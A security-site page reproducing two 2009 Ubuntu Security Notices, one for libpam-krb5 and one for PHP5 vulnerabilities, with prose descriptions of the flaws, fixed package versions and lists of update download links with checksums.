English | Deutsch | Espa├▒ol | Portugu├¬s
 UserID:
 Passwd:
new user
 About:   Dedicated  | Advanced  | Standard  | Recurring  | No Risk  | Desktop  | Basic  | Single  | Security Seal  | FAQ
  Price/Feature Summary  | Order  | New Vulnerabilities  | Confidentiality  | Vulnerability Search
 Vulnerability   
Search   
    Search 61204 CVE descriptions
and 32582 test descriptions,
access 10,000+ cross references.
Tests   CVE   All  

===========================================================
Ubuntu Security Notice USN-719-1          February 12, 2009
libpam-krb5 vulnerabilities
CVE-2009-0360, CVE-2009-0361
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 8.04 LTS
Ubuntu 8.10

This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.

The problem can be corrected by upgrading your system to the
following package versions:

Ubuntu 8.04 LTS:
  libpam-krb5                     3.10-1ubuntu0.8.04.1

Ubuntu 8.10:
  libpam-krb5                     3.10-1ubuntu0.8.10.1

In general, a standard system upgrade is sufficient to effect the
necessary changes.

Details follow:

It was discovered that pam_krb5 parsed environment variables when run with
setuid applications. A local attacker could exploit this flaw to bypass
authentication checks and gain root privileges. (CVE-2009-0360)

Derek Chan discovered that pam_krb5 incorrectly handled refreshing existing
credentials when used with setuid applications. A local attacker could exploit
this to create or overwrite arbitrary files, and possibly gain root privileges.
(CVE-2009-0361)


Updated packages for Ubuntu 8.04 LTS:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/libp/libpam-krb5/libpam-krb5_3.10-1ubuntu0.8.04.1.diff.gz
      Size/MD5:    12322 2915d0d5b4133bcc65b6bc03346033b0
    http://security.ubuntu.com/ubuntu/pool/main/libp/libpam-krb5/libpam-krb5_3.10-1ubuntu0.8.04.1.dsc
      Size/MD5:      816 cbc0e2b13d48682ec29127649d9d3407
    http://security.ubuntu.com/ubuntu/pool/main/libp/libpam-krb5/libpam-krb5_3.10.orig.tar.gz
      Size/MD5:   156259 6ec6bd6637f8c91bf5386ed95fa975ba

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/libp/libpam-krb5/libpam-krb5_3.10-1ubuntu0.8.04.1_amd64.deb
      Size/MD5:    78068 6f201eda9f6df9d527c165c21756084d

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/libp/libpam-krb5/libpam-krb5_3.10-1ubuntu0.8.04.1_i386.deb
      Size/MD5:    77412 199ba52d9440d89f70fab1544fa90d7f

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/libp/libpam-krb5/libpam-krb5_3.10-1ubuntu0.8.04.1_lpia.deb
      Size/MD5:    77246 ff9cce0bbaf03a1a348fcd1fb0ca6745

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/libp/libpam-krb5/libpam-krb5_3.10-1ubuntu0.8.04.1_powerpc.deb
      Size/MD5:    80536 e3ec20dbf0fb9666549f801c012f72b0

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/libp/libpam-krb5/libpam-krb5_3.10-1ubuntu0.8.04.1_sparc.deb
      Size/MD5:    77196 6e8a12a640e6c9163d65709d68c14775

Updated packages for Ubuntu 8.10:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/libp/libpam-krb5/libpam-krb5_3.10-1ubuntu0.8.10.1.diff.gz
      Size/MD5:    12322 9646c596627edf91af8799f78b9bffb2
    http://security.ubuntu.com/ubuntu/pool/main/libp/libpam-krb5/libpam-krb5_3.10-1ubuntu0.8.10.1.dsc
      Size/MD5:     1234 39b9545e294f6937092fbf8316ffc9d1
    http://security.ubuntu.com/ubuntu/pool/main/libp/libpam-krb5/libpam-krb5_3.10.orig.tar.gz
      Size/MD5:   156259 6ec6bd6637f8c91bf5386ed95fa975ba

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/libp/libpam-krb5/libpam-krb5_3.10-1ubuntu0.8.10.1_amd64.deb
      Size/MD5:    78348 9be5305e9bb4f8b85d0857230cc2acda

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/libp/libpam-krb5/libpam-krb5_3.10-1ubuntu0.8.10.1_i386.deb
      Size/MD5:    77494 2e37aba551e192fffaf17754b96fee1a

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/libp/libpam-krb5/libpam-krb5_3.10-1ubuntu0.8.10.1_lpia.deb
      Size/MD5:    77452 d89fdc271a18c000d84a2ce6c1c1db4a

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/libp/libpam-krb5/libpam-krb5_3.10-1ubuntu0.8.10.1_powerpc.deb
      Size/MD5:    80632 5312557a64d26867ac5472ee56f3ac2e

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/libp/libpam-krb5/libpam-krb5_3.10-1ubuntu0.8.10.1_sparc.deb
      Size/MD5:    76978 9fc7e9ee619bd7ce77fafe13a2dc46b8



--=-K+2S78fml+EGQJhOb1TI
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEABECAAYFAkmUdfMACgkQLMAs/0C4zNp82QCfTJbdmxdSxB/OQsHOauhsDwC9
8iAAn17ECwiWrsw9YNzkiV2QZv9CFn0+
=dttc
-----END PGP SIGNATURE-----

--=-K+2S78fml+EGQJhOb1TI--

From - Thu Feb 12 14:38:33 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000610b
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39463-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id CFBC0ED7DF
for <lists@securityspace.com>; Thu, 12 Feb 2009 14:37:41 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id BD13A143B04; Thu, 12 Feb 2009 12:20:44 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 16161 invoked from network); 12 Feb 2009 18:50:07 -0000
Subject: [USN-720-1] PHP vulnerabilities
From: Marc Deslauriers <marc.deslauriers@canonical.com>
To: ubuntu-security-announce@lists.ubuntu.com
Cc: "bugtraq@securityfocus.com" <bugtraq@securityfocus.com>,
full-disclosure@lists.grok.org.uk
X-Original-To: marc.deslauriers@cleanmail.canonical.com
X-Mailcontrol-Inbound: 
 uq3drnD2P+ps5SfEb0fvr78+NoP1DHBZwGqKpaXB2eTgNv8D6KLIxb8+NoP1DHBZ8VSaBg0k0xwX-Spam-Score: -16
X-Scanned-By: MailControl A_08_51_00 (www.mailcontrol.com) on 10.74.0.168
Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-N2UYWZ/A6s8VA303xJuy"
Date: Thu, 12 Feb 2009 14:18:54 -0500
Message-Id: <1234466334.5854.2.camel@mdlinux.technorage.com>
Mime-Version: 1.0
X-Mailer: Evolution 2.25.90 
Status:   


--=-N2UYWZ/A6s8VA303xJuy
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

===========================================================
Ubuntu Security Notice USN-720-1          February 12, 2009
php5 vulnerabilities
CVE-2007-3996, CVE-2007-5900, CVE-2008-3658, CVE-2008-3659,
CVE-2008-3660, CVE-2008-5557, CVE-2008-5624, CVE-2008-5625,
CVE-2008-5658
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 6.06 LTS
Ubuntu 7.10
Ubuntu 8.04 LTS
Ubuntu 8.10

This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.

The problem can be corrected by upgrading your system to the
following package versions:

Ubuntu 6.06 LTS:
  libapache2-mod-php5             5.1.2-1ubuntu3.13
  php5-cgi                        5.1.2-1ubuntu3.13
  php5-cli                        5.1.2-1ubuntu3.13
  php5-gd                         5.1.2-1ubuntu3.13

Ubuntu 7.10:
  libapache2-mod-php5             5.2.3-1ubuntu6.5
  php5-cgi                        5.2.3-1ubuntu6.5
  php5-cli                        5.2.3-1ubuntu6.5
  php5-gd                         5.2.3-1ubuntu6.5

Ubuntu 8.04 LTS:
  libapache2-mod-php5             5.2.4-2ubuntu5.5
  php5-cgi                        5.2.4-2ubuntu5.5
  php5-cli                        5.2.4-2ubuntu5.5
  php5-gd                         5.2.4-2ubuntu5.5

Ubuntu 8.10:
  libapache2-mod-php5             5.2.6-2ubuntu4.1
  libapache2-mod-php5filter       5.2.6-2ubuntu4.1
  php5-cgi                        5.2.6-2ubuntu4.1
  php5-cli                        5.2.6-2ubuntu4.1
  php5-gd                         5.2.6-2ubuntu4.1

In general, a standard system upgrade is sufficient to effect the
necessary changes.

Details follow:

It was discovered that PHP did not properly enforce php_admin_value and
php_admin_flag restrictions in the Apache configuration file. A local attacker
could create a specially crafted PHP script that would bypass intended security
restrictions. This issue only applied to Ubuntu 6.06 LTS, 7.10, and 8.04 LTS.
(CVE-2007-5900)

It was discovered that PHP did not correctly handle certain malformed font
files. If a PHP application were tricked into processing a specially crafted
font file, an attacker may be able to cause a denial of service and possibly
execute arbitrary code with application privileges. (CVE-2008-3658)

It was discovered that PHP did not properly check the delimiter argument to the
explode function. If a script passed untrusted input to the explode function, an
attacker could cause a denial of service and possibly execute arbitrary code
with application privileges.  (CVE-2008-3659) 

It was discovered that PHP, when used as FastCGI module, did not properly
sanitize requests. By performing a request with multiple dots preceding the
extension, an attacker could cause a denial of service. (CVE-2008-3660)

It was discovered that PHP did not properly handle Unicode conversion in the
mbstring extension. If a PHP application were tricked into processing a
specially crafted string containing an HTML entity, an attacker could execute
arbitrary code with application privileges. (CVE-2008-5557)

It was discovered that PHP did not properly initialize the page_uid and page_gid
global variables for use by the SAPI php_getuid function. An attacker could
exploit this issue to bypass safe_mode restrictions. (CVE-2008-5624)

It was dicovered that PHP did not properly enforce error_log safe_mode
restrictions when set by php_admin_flag in the Apache configuration file. A
local attacker could create a specially crafted PHP script that would overwrite
arbitrary files. (CVE-2007-5625)

It was discovered that PHP contained a flaw in the ZipArchive::extractTo
function. If a PHP application were tricked into processing a specially crafted
zip file that had filenames containing "..", an attacker could write arbitrary
files within the filesystem. This issue only applied to Ubuntu 7.10, 8.04 LTS,
and 8.10. (CVE-2008-5658)

USN-557-1 fixed a vulnerability in the GD library. When using the GD library,
PHP did not properly handle the return codes that were added in the security
update. An attacker could exploit this issue with a specially crafted image file
and cause PHP to crash, leading to a denial of service. This issue only applied
to Ubuntu 6.06 LTS, and 7.10. (CVE-2007-3996)


Updated packages for Ubuntu 6.06 LTS:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5_5.1.2-1ubuntu3.13.diff.gz
      Size/MD5:   136172 36d74530cd6425b824aca441313ed346
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5_5.1.2-1ubuntu3.13.dsc
      Size/MD5:     1776 02fd1bc0edafb5cbb9c79f59b731e3b2
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5_5.1.2.orig.tar.gz
      Size/MD5:  8064193 b5b6564e8c6a0d5bc1d2b4787480d792

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php-pear_5.1.2-1ubuntu3.13_all.deb
      Size/MD5:   301950 7e2ab3ef12e6da932f0ac73fd146fdf5
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5_5.1.2-1ubuntu3.13_all.deb
      Size/MD5:     1040 5a05c841f86752bfa494099af06a972d

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/p/php5/libapache2-mod-php5_5.1.2-1ubuntu3.13_amd64.deb
      Size/MD5:  2434690 445924f3d8b7d220d6ad6f63bd6ca42a
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cgi_5.1.2-1ubuntu3.13_amd64.deb
      Size/MD5:  4758492 2fd749aa61a449bed58b6ef8b84015cd
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cli_5.1.2-1ubuntu3.13_amd64.deb
      Size/MD5:  2390194 f9e8022d83eb1cb31af82f33fd02ab77
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-common_5.1.2-1ubuntu3.13_amd64.deb
      Size/MD5:   136268 d59a233d6d7312d666e0e23606b197ed
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-curl_5.1.2-1ubuntu3.13_amd64.deb
      Size/MD5:    24622 2ff8ff5729acaa80076aea734bcdee21
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-dev_5.1.2-1ubuntu3.13_amd64.deb
      Size/MD5:   312642 6e24091ae7aaa47263da531a5a2bf166
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-gd_5.1.2-1ubuntu3.13_amd64.deb
      Size/MD5:    36844 4974ce36d97755f9f413698b0067e156
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-ldap_5.1.2-1ubuntu3.13_amd64.deb
      Size/MD5:    22140 4c69a7739a7a79e3f0e2bcc92b6b0f06
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mhash_5.1.2-1ubuntu3.13_amd64.deb
      Size/MD5:     8790 2d3f59432e04d90eb3ebfc1e73d00844
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mysql_5.1.2-1ubuntu3.13_amd64.deb
      Size/MD5:    25238 3a35d3e25eec55d65576d0f6b5fca253
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mysqli_5.1.2-1ubuntu3.13_amd64.deb
      Size/MD5:    43908 052ddb2d3e0efe6fd180ae1e250288f5
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-odbc_5.1.2-1ubuntu3.13_amd64.deb
      Size/MD5:    30132 409c281c95f3bf02c564c34bbc52bdae
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-pgsql_5.1.2-1ubuntu3.13_amd64.deb
      Size/MD5:    44388 25607ca3ebf3e0457c20ea4c47e35f3d
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-recode_5.1.2-1ubuntu3.13_amd64.deb
      Size/MD5:     8346 8309bb41c1f195fc19b1bce8d730c6eb
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-snmp_5.1.2-1ubuntu3.13_amd64.deb
      Size/MD5:    15310 da4830247685e3ebb51b02bcacd9b1d0
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sqlite_5.1.2-1ubuntu3.13_amd64.deb
      Size/MD5:    29154 d1e5dcc34f2d6abfa66a2d193a10cc68
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sybase_5.1.2-1ubuntu3.13_amd64.deb
      Size/MD5:    22706 128b3d00bf83515ae3065acb6a7e1879
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xmlrpc_5.1.2-1ubuntu3.13_amd64.deb
      Size/MD5:    42304 077a0218f3f0ab07f2f916b074dd6b85
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xsl_5.1.2-1ubuntu3.13_amd64.deb
      Size/MD5:    16394 318a601dc2689cd98911937777009cf0

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/p/php5/libapache2-mod-php5_5.1.2-1ubuntu3.13_i386.deb
      Size/MD5:  2263664 723113654e6f6150ae0743342ee3565e
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cgi_5.1.2-1ubuntu3.13_i386.deb
      Size/MD5:  4475074 40d3b58e88b82ef15a1285a43512ddbf
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cli_5.1.2-1ubuntu3.13_i386.deb
      Size/MD5:  2247554 cfeb30b87a9ae81bdb620b49c477fde6
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-common_5.1.2-1ubuntu3.13_i386.deb
      Size/MD5:   136272 d28ac7c484bacf6e1602dbeb06383da8
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-curl_5.1.2-1ubuntu3.13_i386.deb
      Size/MD5:    22854 32e8bb20c4e53a716a7e3e4e83a6d51a
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-dev_5.1.2-1ubuntu3.13_i386.deb
      Size/MD5:   312652 c31d62287b548577143eb4f57275e609
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-gd_5.1.2-1ubuntu3.13_i386.deb
      Size/MD5:    32886 0dbc2939cc6baf2c0acac4d9dee0bb6b
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-ldap_5.1.2-1ubuntu3.13_i386.deb
      Size/MD5:    19800 ed67bb5cbaf534e2edfb15e14de007a4
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mhash_5.1.2-1ubuntu3.13_i386.deb
      Size/MD5:     8382 2a762be1742abac5b64df0ce65e83909
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mysql_5.1.2-1ubuntu3.13_i386.deb
      Size/MD5:    22000 457cd07e46978526385e1d170b8ba470
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mysqli_5.1.2-1ubuntu3.13_i386.deb
      Size/MD5:    37376 8d5084d4542e33bba9a8d0b54fbae776
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-odbc_5.1.2-1ubuntu3.13_i386.deb
      Size/MD5:    27042 44966bd6a45a2af4d73534afbbc9c565
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-pgsql_5.1.2-1ubuntu3.13_i386.deb
      Size/MD5:    39784 57ced673510f93bd7e5172441488ef8d
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-recode_5.1.2-1ubuntu3.13_i386.deb
      Size/MD5:     8070 6377e700ddc7da484cd0f7ee74809e86
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-snmp_5.1.2-1ubuntu3.13_i386.deb
      Size/MD5:    14162 b1889a9523cb80a27ac784b98e941d4d
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sqlite_5.1.2-1ubuntu3.13_i386.deb
      Size/MD5:    25604 f2ec727d74b0587ca215a97b2fcbd662
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sybase_5.1.2-1ubuntu3.13_i386.deb
      Size/MD5:    20546 f8335b1346f0f19011706a2b7fc3b175
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xmlrpc_5.1.2-1ubuntu3.13_i386.deb
      Size/MD5:    37818 c372b6c6f9a1dd4e8d9d75335ca27cfa
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xsl_5.1.2-1ubuntu3.13_i386.deb
      Size/MD5:    15140 e3d5a9b0ed6dbbc86829ef5778e7a629

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://security.ubuntu.com/ubuntu/pool/main/p/php5/libapache2-mod-php5_5.1.2-1ubuntu3.13_powerpc.deb
      Size/MD5:  2398262 1b8526eba895ded1a6b0f35e962912d5
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cgi_5.1.2-1ubuntu3.13_powerpc.deb
      Size/MD5:  4694370 ad4bfc7788d94916767ea58ecf10bea4
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cli_5.1.2-1ubuntu3.13_powerpc.deb
      Size/MD5:  2356838 a18a229d28ead6bf651db58fe2d11855
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-common_5.1.2-1ubuntu3.13_powerpc.deb
      Size/MD5:   136266 31ed0e8b18ac07e2c9745cbe5821434b
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-curl_5.1.2-1ubuntu3.13_powerpc.deb
      Size/MD5:    26614 3e81a2685c28d76b9cb3fbec0bc49495
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-dev_5.1.2-1ubuntu3.13_powerpc.deb
      Size/MD5:   312654 beaf8441a24716ec8b9c5ab75e7c30bb
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-gd_5.1.2-1ubuntu3.13_powerpc.deb
      Size/MD5:    36610 c1b4693475b99b9c702c69edb5d32766
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-ldap_5.1.2-1ubuntu3.13_powerpc.deb
      Size/MD5:    22548 d8f60015638ff78d4bad8f8704a499d8
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mhash_5.1.2-1ubuntu3.13_powerpc.deb
      Size/MD5:    10128 c5c53b698024bce46e5f1a052b57d87c
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mysql_5.1.2-1ubuntu3.13_powerpc.deb
      Size/MD5:    24822 b758bc1e12c234e332e74f3b90d4565f
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mysqli_5.1.2-1ubuntu3.13_powerpc.deb
      Size/MD5:    41778 6a4e55f78a44668aa278ea238fa5d142
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-odbc_5.1.2-1ubuntu3.13_powerpc.deb
      Size/MD5:    30082 c3987b37c875f9982359ba61a696e55e
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-pgsql_5.1.2-1ubuntu3.13_powerpc.deb
      Size/MD5:    43422 d1819d5264159c4db98e867cc39c6464
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-recode_5.1.2-1ubuntu3.13_powerpc.deb
      Size/MD5:     9796 c8b61e0b56113051480db8ed34fdb6eb
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-snmp_5.1.2-1ubuntu3.13_powerpc.deb
      Size/MD5:    15946 d52234e6329fa8d4a75a95d50cba59ed
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sqlite_5.1.2-1ubuntu3.13_powerpc.deb
      Size/MD5:    29406 dd218657059776d7dae11e35735c1e1f
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sybase_5.1.2-1ubuntu3.13_powerpc.deb
      Size/MD5:    23584 4001a0cc310fd12f52fab61c8cf4f59a
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xmlrpc_5.1.2-1ubuntu3.13_powerpc.deb
      Size/MD5:    40900 98a6993a6501b493f2c46a7ba7564117
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xsl_5.1.2-1ubuntu3.13_powerpc.deb
      Size/MD5:    17252 335f60e5738db9d0113bdadc4975a61e

  sparc architecture (Sun SPARC/UltraSPARC):

    http://security.ubuntu.com/ubuntu/pool/main/p/php5/libapache2-mod-php5_5.1.2-1ubuntu3.13_sparc.deb
      Size/MD5:  2324542 db8c2cb095d98fca73e2d286dd13a9b8
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cgi_5.1.2-1ubuntu3.13_sparc.deb
      Size/MD5:  4532930 02dcfd3b6586a24874e409a3d1ac7d59
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cli_5.1.2-1ubuntu3.13_sparc.deb
      Size/MD5:  2277860 adf60d8c9ff3dbee4b1601921016292e
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-common_5.1.2-1ubuntu3.13_sparc.deb
      Size/MD5:   136272 707245f1a6d88ef08c2f47cd89c7e819
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-curl_5.1.2-1ubuntu3.13_sparc.deb
      Size/MD5:    24562 1facc01bb587987d5d2d1c999aa81a34
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-dev_5.1.2-1ubuntu3.13_sparc.deb
      Size/MD5:   312638 88d811505bdde51a525cb36c15547403
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-gd_5.1.2-1ubuntu3.13_sparc.deb
      Size/MD5:    33362 b7d07b1907c65a787aeb3efc24b0ebd7
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-ldap_5.1.2-1ubuntu3.13_sparc.deb
      Size/MD5:    20096 2a3c7b999bdf12b9ececabc2b83c08c2
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mhash_5.1.2-1ubuntu3.13_sparc.deb
      Size/MD5:     8382 f55a2dfb5f9b4eca87e7bcf1be390429
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mysql_5.1.2-1ubuntu3.13_sparc.deb
      Size/MD5:    22358 2e64f4e85569a6d25be623c1f2c6a7a1
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mysqli_5.1.2-1ubuntu3.13_sparc.deb
      Size/MD5:    38654 f4c2a7c3d7d8d81210058be183089bed
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-odbc_5.1.2-1ubuntu3.13_sparc.deb
      Size/MD5:    26840 875c3f77c1d3e31ff1ffb86509d9915b
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-pgsql_5.1.2-1ubuntu3.13_sparc.deb
      Size/MD5:    40608 3072f08be4812e80ad35214a334f83a2
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-recode_5.1.2-1ubuntu3.13_sparc.deb
      Size/MD5:     8110 738901ef119e0d909114bc573e713cbe
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-snmp_5.1.2-1ubuntu3.13_sparc.deb
      Size/MD5:    14056 ed25d44142a88721492c7925fa404ac4
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sqlite_5.1.2-1ubuntu3.13_sparc.deb
      Size/MD5:    25956 9f1d9d8bd43cbb876f5a844d29734bfb
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sybase_5.1.2-1ubuntu3.13_sparc.deb
      Size/MD5:    20792 99a5aab3ef5911e0c44ad85eaac64f58
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xmlrpc_5.1.2-1ubuntu3.13_sparc.deb
      Size/MD5:    38032 44f97c5a4b494c6718cb8f52db37c8a9
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xsl_5.1.2-1ubuntu3.13_sparc.deb
      Size/MD5:    15078 bb8eac596fe7ae509a1d3ee864e6ddcb

Updated packages for Ubuntu 7.10:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5_5.2.3-1ubuntu6.5.diff.gz
      Size/MD5:   141328 77b0fb7cdbab3e6e249866192eb8c33d
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5_5.2.3-1ubuntu6.5.dsc
      Size/MD5:     1929 4073677fb19f06436b45d8008330922d
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5_5.2.3.orig.tar.gz
      Size/MD5:  9341653 df79b04d63fc4c1ccb6d8ea58a9cf3ac

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php-pear_5.2.3-1ubuntu6.5_all.deb
      Size/MD5:   351442 859f0c86ad6bd9b6339e4e6a2c947830
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5_5.2.3-1ubuntu6.5_all.deb
      Size/MD5:     1084 70d2aa948b496a66833e3955caef0c26

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/p/php5/libapache2-mod-php5_5.2.3-1ubuntu6.5_amd64.deb
      Size/MD5:  2671660 d756236d908d59b0149c839b34466f29
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cgi_5.2.3-1ubuntu6.5_amd64.deb
      Size/MD5:  5198498 c6a95883f0f06d07c2ef70a2f0d1113a
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cli_5.2.3-1ubuntu6.5_amd64.deb
      Size/MD5:  2619848 401c42ca99caab2db745aa88a6c9c545
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-common_5.2.3-1ubuntu6.5_amd64.deb
      Size/MD5:   224178 8bfbaa36e2f1a19c3d0bbba4301a4581
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-curl_5.2.3-1ubuntu6.5_amd64.deb
      Size/MD5:    24896 6c7849a29d3c27a31da804a2f0d0948a
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-dev_5.2.3-1ubuntu6.5_amd64.deb
      Size/MD5:   355114 97e4451d7bcc7205d2e2f9c70ed88304
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-gd_5.2.3-1ubuntu6.5_amd64.deb
      Size/MD5:    37968 04addecdc5654ee5ce033ccbdb971240
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-ldap_5.2.3-1ubuntu6.5_amd64.deb
      Size/MD5:    19986 4056882e8d7d1cce62278c12b255ef51
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mhash_5.2.3-1ubuntu6.5_amd64.deb
      Size/MD5:     5540 d1fd2f40f4edf1d06052d95436993c51
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mysql_5.2.3-1ubuntu6.5_amd64.deb
      Size/MD5:    73944 aed0f0b90a2ebd388bae9bc5eedd2e15
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-odbc_5.2.3-1ubuntu6.5_amd64.deb
      Size/MD5:    37410 bf4598445c8bed217f65d344c6a89c57
